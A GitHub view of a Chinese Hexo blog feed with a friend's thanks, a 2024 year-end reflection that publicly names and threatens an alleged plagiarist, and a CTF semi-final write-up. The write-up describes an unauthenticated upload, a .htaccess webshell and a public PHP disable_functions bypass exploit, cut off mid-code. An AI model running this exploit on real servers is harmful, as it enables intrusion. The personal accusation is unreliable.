-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
512 lines (257 loc) · 412 KB
/
Copy pathatom.xml
File metadata and controls
512 lines (257 loc) · 412 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>fault`s blog</title>
<link href="http://fault123.github.io/atom.xml" rel="self"/>
<link href="http://fault123.github.io/"/>
<updated>2025-06-18T14:04:29.545Z</updated>
<id>http://fault123.github.io/</id>
<author>
<name>fault_li</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>对于Cain大王的单独感谢</title>
<link href="http://fault123.github.io/2025/06/18/%E5%AF%B9%E4%BA%8ECain%E5%A4%A7%E7%8E%8B%E7%9A%84%E5%8D%95%E7%8B%AC%E6%84%9F%E8%B0%A2/"/>
<id>http://fault123.github.io/2025/06/18/%E5%AF%B9%E4%BA%8ECain%E5%A4%A7%E7%8E%8B%E7%9A%84%E5%8D%95%E7%8B%AC%E6%84%9F%E8%B0%A2/</id>
<published>2025-06-18T13:24:56.297Z</published>
<updated>2025-06-18T14:04:29.545Z</updated>
<content type="html"><![CDATA[<p>首先前排排面一下</p><blockquote><p>谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！</p></blockquote><blockquote><p>cain大王问我为什么没有在年终总结里感谢他，那当然是我准备了一篇专门的文章（才不是我忘了）</p></blockquote><p>好了不插科打诨，说句真心话，你让我看到了一个智者和极度理性者的精彩人生，我从未想过我可以成为这样的人的朋友，但既然成为了，那我在此深表荣幸。</p><p>在我看来你是一个无论心智还是其它都很成熟的成年人，也是我世界观里的智者，总是可以在最重要的时候做出最优的决策。对于如何成为成年人这个我目前的人生课题而言，你是我参考的模板之一，但你又并非是传统意义上的，完全成熟的成年人，你会发牢骚，也会恋爱脑（咳咳），而且在我看来一个绝对理性的人它的文字也会是理性的，任何时候都不会出现那样的文字，仿佛一个全身镣铐但还是在努力追赶明天太阳的人，我不知你的理性是否出于本心，我也不知你的世界是什么样，但这样的反差也让我认识到了一个人的复杂性。</p><p>说回为什么我要感谢你，当然，第一是去年的年终总结忘了写，将功补过一下，第二，无论是心态抑或是技术，你其实都算股东：），最后的最后，也是我这篇文章的，中心思想，在这之前我从未见过这样的人，绝对的理性的人，但却写出了读完让人心神共震的文字，偶尔嘴臭但却永远讲义气的人，fine，虽然还有很多话想说，但是这tm越写越不对劲了。</p><p>总之，你不仅让我得以窥见成年人的世界，让我学会如何成为一个心智成熟的成年人，也让我看到成年人不止有理性和虚与委蛇，也有朋友和向往的世界。</p>]]></content>
<summary type="html"><p>首先前排排面一下</p>
<blockquote>
<p>谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！谢谢cain大王！</summary>
<category term="年终总结" scheme="http://fault123.github.io/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>2024年终总结</title>
<link href="http://fault123.github.io/2024/12/31/2024%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
<id>http://fault123.github.io/2024/12/31/2024%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</id>
<published>2024-12-30T16:00:00.000Z</published>
<updated>2025-01-04T06:26:37.462Z</updated>
<content type="html"><![CDATA[<h2 id="自我怀疑与救赎"><a class="headerlink" href="#自我怀疑与救赎"></a>自我怀疑与救赎</h2><p>或许在今年的开始我确实是菜到令人发指，整日坐在实验室捣鼓Arch，睡觉，总之很少做正事。而我与其它外校同级师傅的差距也从此刻开始明显<br>从去年开学来的iscc坐在那里当傻瓜到山东技能兴鲁拼尽全力只能做出一题的窘境，我大抵是对自己的实力有了自我怀疑。实话说来，从大一开始，如果只在学校里比较，我自然是不用有任何忧愁，偶尔坐在实验室里一时兴起学上一下午，或是在寒假边玩边刷题，学习进度已然够快。</p><p>可是到了大二，认识更多的师傅后发现自己的学习进度其实慢到令人发指，同级的师傅已经在看Java的时候我也在看，同级的师傅已经自己出Java题目了我还在调cc链。容我在此处找个借口，或许是学校有太多事要操心，也或许是那段时间对人性没有掌握太多，校内更多是在被压榨了一学期的劳动力后堪堪收获一千元。大二上学期的我面临着实验室的分崩离析，我看不清局面，更摸不到人心。唯一能做的就是给后面看得清局面的我以更多抉择，于是本来该学习的我被这些破烂事缠的不可脱身。每日坐在电脑前就是想今年是不是又要挂科，实验室会不会就此断代，和那位的合作还有必要继续么。</p><p>而就在这样没有动力学习+比赛没有成绩的内耗下，我开始了漫长的自我怀疑。做不出来题就觉得自己学了这么久没有用，做出来题就担心自己会不会下次做不出来题。加上过渡内耗下对于周边事物的敏感度降低导致的对于家人的不甚关心，这也造就了我今年最大的遗憾。<br>是不是所有路，我都永远不会走通？</p><p>就这样，我一直内耗到了九月，新学期的开学仿佛给了我一些喘息。<br>羊城虽然我是给学长打下手的，但是也让我学到了不少，也是从羊城后的某次实习，让我下定决心开始攒钱。</p><p>羊城打完就是dasctf的月赛，月赛结束后又是比赛，依稀记得从九月开始到十二月，最长的休息时间是十一假期在家倒头就睡的几天。在校内的课业压力明显降低的情况下，我开始刷靶场，开始打比赛，开始在脑袋里构建<br>到了网鼎杯，我仿佛终于<br>看到了一丝丝曙光<br>我自己挖到了未授权的文件上传，拿到shell的一瞬间，我感觉到我的手在颤抖<br>很开心</p><p>到了强网杯初赛，当我从去年的打到一半心态爆炸出去吃海底捞然后给学长吐槽题难（其实是我自己菜）再到今年的很多题目的关窍都是我查到或者做出来的，今年就少了赛后对于题目的吐槽环节<br>而强网杯决赛，虽然我做的很慢，一如我的学习速度，但是我在做出来的一瞬间真的很开心，虽然是全场倒数几个解出，但是能在强网杯决赛不是倒数第一个解出题的，在我看来已经很厉害了。<br>虽然rw赛题我还是没做出来，对于PHP的代码审计的弱点我一直存在，但是赛后的成功复现让我有了动力加强这个弱点</p><p>今年，是自我怀疑与救赎的一年</p><h2 id="一些实习感想"><a class="headerlink" href="#一些实习感想"></a>一些实习感想</h2><p>我在今年的六月找到了自己人生中的第一份实习，拿到了某网安大厂西安分公司的渗透测试实习生的offer，但是工作下来发现和面试所讲相去甚远，而且薪水不足以果腹，于是在七月快放暑假时取消了留在西安的计划选择离职。</p><p>借用Y爹当时说的：“让你别去实习你不听，实习完就老实了”。诶，确实老实了，一天近50元的通勤+吃饭，还要被公司外派，明明面试时我明确表达过我想面试渗透实习生且非安服，而且不接受外派，面试官满口答应，但是在入职的第二天就被告知去甲方那里报到（真的很气！！！</p><p>在这里用自己的亲身经历告诉想找实习的师傅们，即使面试时他们答应了你不会外派，也请在入职时再次确认。永远不要相信任何人的口头答应！！！！！</p><h2 id="最后的总结"><a class="headerlink" href="#最后的总结"></a>最后的总结</h2><p>虽然今年的总结很短，相比去年和前年都短的可怕，但我相信，我今年的收获更多是在心中而非文字上<br>在今年需要感谢很多人，Y爹，k1，chu0，晨曦，N1ght，F12师傅，交到了这些朋友我很开心。<br>今年就到这里吧，希望明年的我万事胜意</p><h2 id="年初遇到的逆天事"><a class="headerlink" href="#年初遇到的逆天事"></a>年初遇到的逆天事</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202501041425692.png" alt="image.png" loading="lazy"><br>某些人背刺学弟学妹，你一定会遭报应的，我就说到这里，这件事，我跟你没完。何佳宇，你如果很喜欢提交和我们队伍一样的wp，那你最好祈祷你能当上高贵的公务员吧。<br>我甚至在年终总结的上一版感谢过你，是你自己行不义之事<br>我自认从来没有惹过你，倒是你处处对我打压pua，我言尽于此，希望你能承受住你自己错误决定所带来的所有后果</p>]]></content>
<summary type="html"><h2 id="自我怀疑与救赎"><a class="headerlink" href="#自我怀疑与救赎"></a>自我怀疑与救赎</h2>
<p>或许在今年的开始我确实是菜到令人发指，整日坐在实验室捣鼓Arch，睡觉，总之很少做正事。而我与其它外校同级师傅的差距也从此刻开始明</summary>
<category term="年终总结" scheme="http://fault123.github.io/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>2024网鼎杯半决赛复盘</title>
<link href="http://fault123.github.io/2024/11/26/2024%E7%BD%91%E9%BC%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%A4%8D%E7%9B%98/"/>
<id>http://fault123.github.io/2024/11/26/2024%E7%BD%91%E9%BC%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%A4%8D%E7%9B%98/</id>
<published>2024-11-25T16:00:00.000Z</published>
<updated>2024-11-30T14:45:55.473Z</updated>
<content type="html"><![CDATA[<blockquote><p>前排提醒，大量反思+少量wp</p></blockquote><h2 id="网鼎半决赛前"><a class="headerlink" href="#网鼎半决赛前"></a>网鼎半决赛前</h2><p>经过我一番查找和没有认真看赛制说明的情况下，我用了一周在THM上过了一遍域，并开始幻想自己轻松淦进第一层然后开始抓哈希横向的帅气操作，然后像我在云境打的很多个靶场一样，嗦！嗦！嗦！震惊队友震惊自己，我就是最酷炫的黑阔！！</p><p>带着这种思想（幻想）我在赛前一周库库刷库库开心！！</p><h2 id="网鼎半决赛"><a class="headerlink" href="#网鼎半决赛"></a>网鼎半决赛</h2><p>进场的我幸运的面基了Byx20（B神！！！）咸鱼芬（芬爹！！！）Z3m1th神！！！开心之余悄悄打植物大战僵尸（B神：你在玩什么？fault：嘻嘻 k1sme4：啊啊啊啊你怎么乱打（已红温））<br>寒暄完就是开赛辣！！！</p><p>拿到题目的一瞬间看到不是能一把嗦的站已经隐隐约约觉得哪里不对劲了（事实证明直觉没问题），但当时的我还在侥幸是不是弱口令一把嗦，只是考一点ctf一点的东西罢了，但是直到我看了一个小时没有成果的时候我害怕了</p><p>fault对于爆零的心理阴影由来已久，早些追溯到大一的ISCTF，晚些追溯到CCB半决，那时候的我又菜（虽然现在也好不到哪儿去）又颓废，但多半取决于我在刷了一年web题仍然在大一的比赛中被薄纱让我看不到希望，像我这种人是最看重短期成效的，如果没有短期成效就开始怀疑自己的烂天赋，怀疑自己到底有没有脑子。反复的内耗+校内一团乱麻+家中出事，根本没有心思学习，导致我大二拖累了k1没有去CCB决赛，之后这成了氤氲在我大脑中无数噩梦轮回的阴影，每次比赛我都在担心他会不会不让我去打，但我又怕他和我组队但我又拖累他一次）</p><p>没错，在看到题目并不如自己赛前愿景的fault开始难受+胡思乱想。但是我。。。</p><p>我的灵感！<br>在长达一年脑雾后我的灵感回来了！</p><p>我开始审计这个站（恒汇）</p><p>发现了亲爱的未授权和自己的一些理解结合起来</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://114.114.114.199/index.php?mod=admin&act=shop&get=goods&re=list</span><br></pre></td></tr></table></figure><p>于是我发现了这个<br>这个本质是在js中翻到的shop但是经过我个人对站的理解后发现这个地方有一个未授权！！！<br>然后进去之后发现有一个文件上传的地方<br>发现传不了php&&phtml<br>但是又有哪一次是能传的呢？<br>于是继续测试，发现.htaccess可以传上去的一瞬间！<br>我头皮发麻，那一瞬间我觉得<br>我，我真的可以<br>然后一遍传jpg一遍拍k1sme4，他探头，我给他看我.htaccess传上去了<br>他：！<br>我：！<br>刚睡醒的赵总：！<br>然后我光速访问，发现emmmm，我勒个权限低到爆<br>于是再写一个phpinfo，果然，是因为disable_function<br>尝试用这个脚本搞掉，但是没成功</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment"># PHP 7.0-8.0 disable_functions bypass PoC (*nix only)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Bug: https://bugs.php.net/bug.php?id=54350</span></span><br><span class="line"><span class="comment"># </span></span><br><span class="line"><span class="comment"># This exploit should work on all PHP 7.0-8.0 versions</span></span><br><span class="line"><span class="comment"># released as of 2021-10-06</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Author: https://github.com/mm0r1</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">pwn</span>(<span class="string">'uname -a'</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">pwn</span>(<span class="params"><span class="variable">$cmd</span></span>) </span>{</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'LOGGING'</span>, <span class="literal">false</span>);</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'CHUNK_DATA_SIZE'</span>, <span class="number">0x60</span>);</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'CHUNK_SIZE'</span>, ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + <span class="number">0x20</span> : CHUNK_DATA_SIZE);</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'FILTER_SIZE'</span>, ZEND_DEBUG_BUILD ? <span class="number">0x70</span> : <span class="number">0x50</span>);</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'STRING_SIZE'</span>, CHUNK_DATA_SIZE - <span class="number">0x18</span> - <span class="number">1</span>);</span><br><span class="line"> <span class="title function_ invoke__">define</span>(<span class="string">'CMD'</span>, <span class="variable">$cmd</span>);</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="number">10</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="variable">$groom</span>[] = <span class="title class_">Pwn</span>::<span class="title function_ invoke__">alloc</span>(STRING_SIZE);</span><br><span class="line"> }</span><br><span class="line"> <span class="title function_ invoke__">stream_filter_register</span>(<span class="string">'pwn_filter'</span>, <span class="string">'Pwn'</span>);</span><br><span class="line"> <span class="variable">$fd</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">'php://memory'</span>, <span class="string">'w'</span>);</span><br><span class="line"> <span class="title function_ invoke__">stream_filter_append</span>(<span class="variable">$fd</span>,<span class="string">'pwn_filter'</span>);</span><br><span class="line"> <span class="title function_ invoke__">fwrite</span>(<span class="variable">$fd</span>, <span class="string">'x'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Helper</span> </span>{ <span class="keyword">public</span> <span class="variable">$a</span>, <span class="variable">$b</span>, <span class="variable">$c</span>; }</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pwn</span> <span class="keyword">extends</span> <span class="title">php_user_filter</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$abc</span>, <span class="variable">$abc_addr</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$helper</span>, <span class="variable">$helper_addr</span>, <span class="variable">$helper_off</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$uafp</span>, <span class="variable">$hfp</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">filter</span>(<span class="params"><span class="variable">$in</span>, <span class="variable">$out</span>, &<span class="variable">$consumed</span>, <span class="variable">$closing</span></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$closing</span>) <span class="keyword">return</span>;</span><br><span class="line"> <span class="title function_ invoke__">stream_bucket_make_writeable</span>(<span class="variable">$in</span>);</span><br><span class="line"> <span class="variable language_">$this</span>->filtername = <span class="title class_">Pwn</span>::<span class="title function_ invoke__">alloc</span>(STRING_SIZE);</span><br><span class="line"> <span class="title function_ invoke__">fclose</span>(<span class="variable">$this</span>->stream);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">go</span>();</span><br><span class="line"> <span class="keyword">return</span> PSFS_PASS_ON;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">go</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->abc = &<span class="variable language_">$this</span>->filtername;</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">make_uaf_obj</span>();</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>->helper = <span class="keyword">new</span> <span class="title class_">Helper</span>;</span><br><span class="line"> <span class="variable language_">$this</span>->helper->b = <span class="function"><span class="keyword">function</span>(<span class="params"><span class="variable">$x</span></span>) </span>{};</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>->helper_addr = <span class="variable language_">$this</span>-><span class="title function_ invoke__">str2ptr</span>(CHUNK_SIZE * <span class="number">2</span> - <span class="number">0x18</span>) - CHUNK_SIZE * <span class="number">2</span>;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"helper @ 0x%x"</span>, <span class="variable">$this</span>->helper_addr);</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>->abc_addr = <span class="variable language_">$this</span>->helper_addr - CHUNK_SIZE;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"abc @ 0x%x"</span>, <span class="variable">$this</span>->abc_addr);</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>->helper_off = <span class="variable language_">$this</span>->helper_addr - <span class="variable language_">$this</span>->abc_addr - <span class="number">0x18</span>;</span><br><span class="line"></span><br><span class="line"> <span class="variable">$helper_handlers</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">str2ptr</span>(CHUNK_SIZE);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"helper handlers @ 0x%x"</span>, <span class="variable">$helper_handlers</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">prepare_leaker</span>();</span><br><span class="line"></span><br><span class="line"> <span class="variable">$binary_leak</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$helper_handlers</span> + <span class="number">8</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"binary leak @ 0x%x"</span>, <span class="variable">$binary_leak</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">prepare_cleanup</span>(<span class="variable">$binary_leak</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$closure_addr</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">str2ptr</span>(<span class="variable">$this</span>->helper_off + <span class="number">0x38</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"real closure @ 0x%x"</span>, <span class="variable">$closure_addr</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$closure_ce</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$closure_addr</span> + <span class="number">0x10</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"closure class_entry @ 0x%x"</span>, <span class="variable">$closure_ce</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$basic_funcs</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">get_basic_funcs</span>(<span class="variable">$closure_ce</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"basic_functions @ 0x%x"</span>, <span class="variable">$basic_funcs</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$zif_system</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">get_system</span>(<span class="variable">$basic_funcs</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"zif_system @ 0x%x"</span>, <span class="variable">$zif_system</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$fake_closure_off</span> = <span class="variable language_">$this</span>->helper_off + CHUNK_SIZE * <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="number">0x138</span>; <span class="variable">$i</span> += <span class="number">8</span>) {</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$fake_closure_off</span> + <span class="variable">$i</span>, <span class="variable">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$closure_addr</span> + <span class="variable">$i</span>));</span><br><span class="line"> }</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$fake_closure_off</span> + <span class="number">0x38</span>, <span class="number">1</span>, <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$handler_offset</span> = PHP_MAJOR_VERSION === <span class="number">8</span> ? <span class="number">0x70</span> : <span class="number">0x68</span>;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$fake_closure_off</span> + <span class="variable">$handler_offset</span>, <span 